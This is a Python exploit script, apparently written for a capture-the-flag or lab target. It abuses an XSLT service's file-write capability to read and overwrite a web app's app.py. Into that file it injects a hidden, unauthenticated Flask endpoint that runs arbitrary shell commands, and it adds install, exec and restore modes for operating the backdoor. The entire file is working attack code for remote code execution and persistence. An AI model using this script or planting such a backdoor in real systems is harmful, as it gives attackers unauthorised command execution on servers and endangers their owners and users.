#!/usr/bin/env python3 """Read, patch, and overwrite /opt/web/app.py through the XSLT service.""" import argparse import re import time from pathlib import Path import requests from read_app import BASE, login, read_app, upload, xml_escape, write_wrapper_dtd REMOTE_APP = "/opt/web/app.py" BACKDOOR_PATH = "/__xslib_diag" MARKER_BEGIN = "# XSLIB_BACKDOOR_BEGIN" MARKER_END = "# XSLIB_BACKDOOR_END" DEFAULT_BACKUP = Path("source/opt_web/app_before_backdoor.py") def build_backdoor(): """Return an unauthenticated command endpoint inserted before app.run().""" return f'''{MARKER_BEGIN} import os as _xslib_os import subprocess as _xslib_subprocess import sys as _xslib_sys @app.route("{BACKDOOR_PATH}") def __xslib_diag(): # Used after restoring the original source when the old inotify watch was # attached to the replaced inode and therefore did not restart the app. if request.args.get("reload") == "1": _xslib_os.execv( _xslib_sys.executable, [_xslib_sys.executable, _xslib_os.path.abspath(__file__)], ) command = request.args.get("cmd", "id") try: completed = _xslib_subprocess.run( command, shell=True, cwd="/opt/web", stdout=_xslib_subprocess.PIPE, stderr=_xslib_subprocess.STDOUT, timeout=15, text=True, ) output = completed.stdout except Exception as exc: output = f"{{type(exc).__name__}}: {{exc}}\\n" return output, 200, {{ "Content-Type": "text/plain; charset=utf-8", "X-Xslib-UID": str(_xslib_os.getuid()), }} {MARKER_END} ''' def patch_source(source): """Insert or replace the marked backdoor block.""" block = build_backdoor() marked = re.compile( rf"^{re.escape(MARKER_BEGIN)}$.*?^{re.escape(MARKER_END)}$\n?", re.MULTILINE | re.DOTALL, ) if marked.search(source): return marked.sub(block + "\n", source, count=1) main_guard = re.search( r"^if\s+__name__\s*==\s*['\"]__main__['\"]\s*:", source, re.MULTILINE, ) if not main_guard: raise RuntimeError("could not find the __main__ guard in app.py") return source[: main_guard.start()] + block + "\n" + source[main_guard.start() :] def make_writer_xsl(content): escaped = xml_escape(content) return f''' {escaped} APP_OVERWRITE_OK ''' def overwrite_app(session, content): """Trigger the app.py overwrite; a connection reset is expected.""" writer_xsl = make_writer_xsl(content) try: result = upload( session, "overwrite.xml", '', "overwrite.xsl", writer_xsl, ) except (requests.ConnectionError, requests.Timeout): # watch.sh may kill the request-serving process immediately after the # exsl:document close_write event. return error = re.search( r"(?:XSLT processing failed|Processing error).*?

", result, re.DOTALL, ) if error: raise RuntimeError(error.group(0)) if "APP_OVERWRITE_OK" not in result: raise RuntimeError("app overwrite did not return APP_OVERWRITE_OK") def call_backdoor(command="id", reload_app=False, timeout=5): params = {} if reload_app: params["reload"] = "1" else: params["cmd"] = command return requests.get( BASE + BACKDOOR_PATH, params=params, timeout=timeout, ) def wait_for_backdoor(command, seconds=15): deadline = time.monotonic() + seconds last_error = None while time.monotonic() < deadline: try: response = call_backdoor(command) if response.status_code == 200: return response last_error = f"HTTP {response.status_code}: {response.text[:100]}" except requests.RequestException as exc: last_error = str(exc) time.sleep(0.5) raise RuntimeError(f"backdoor did not become ready: {last_error}") def wait_for_health(seconds=15): deadline = time.monotonic() + seconds last_error = None while time.monotonic() < deadline: try: response = requests.get(BASE + "/health", timeout=3) if response.status_code == 200 and response.json().get("status") == "healthy": return response last_error = f"HTTP {response.status_code}" except (requests.RequestException, ValueError) as exc: last_error = str(exc) time.sleep(0.5) raise RuntimeError(f"original service did not recover: {last_error}") def install(args): session = requests.Session() print("[*] Logging in") login(session) print(f"[*] Reading {REMOTE_APP}") write_wrapper_dtd(session) original = read_app(session) args.backup.parent.mkdir(parents=True, exist_ok=True) args.backup.write_text(original) print(f"[+] Backup: {args.backup} ({len(original)} bytes)") patched = patch_source(original) print(f"[*] Overwriting {REMOTE_APP} ({len(patched)} bytes)") overwrite_app(session, patched) print(f"[*] Waiting for {BACKDOOR_PATH}") response = wait_for_backdoor(args.command) print(f"[+] HTTP {response.status_code}, remote uid={response.headers.get('X-Xslib-UID')}") print(response.text, end="" if response.text.endswith("\n") else "\n") def execute(args): response = call_backdoor(args.command) print(f"HTTP {response.status_code}, remote uid={response.headers.get('X-Xslib-UID')}") print(response.text, end="" if response.text.endswith("\n") else "\n") def restore(args): original = args.backup.read_text() session = requests.Session() print("[*] Logging in") login(session) print(f"[*] Restoring {REMOTE_APP} from {args.backup}") overwrite_app(session, original) # If the original inotify watch was lost when the inode was replaced, the # running backdoor can exec the now-restored source itself. try: call_backdoor(reload_app=True, timeout=3) except requests.RequestException: pass response = wait_for_health() print(f"[+] Original service recovered: {response.text.strip()}") def parse_args(): parser = argparse.ArgumentParser() subparsers = parser.add_subparsers(dest="action", required=True) install_parser = subparsers.add_parser("install") install_parser.add_argument("--backup", type=Path, default=DEFAULT_BACKUP) install_parser.add_argument("--command", default="id; hostname; pwd") install_parser.set_defaults(function=install) exec_parser = subparsers.add_parser("exec") exec_parser.add_argument("command", nargs="?", default="id") exec_parser.set_defaults(function=execute) restore_parser = subparsers.add_parser("restore") restore_parser.add_argument("--backup", type=Path, default=DEFAULT_BACKUP) restore_parser.set_defaults(function=restore) return parser.parse_args() if __name__ == "__main__": arguments = parse_args() arguments.function(arguments)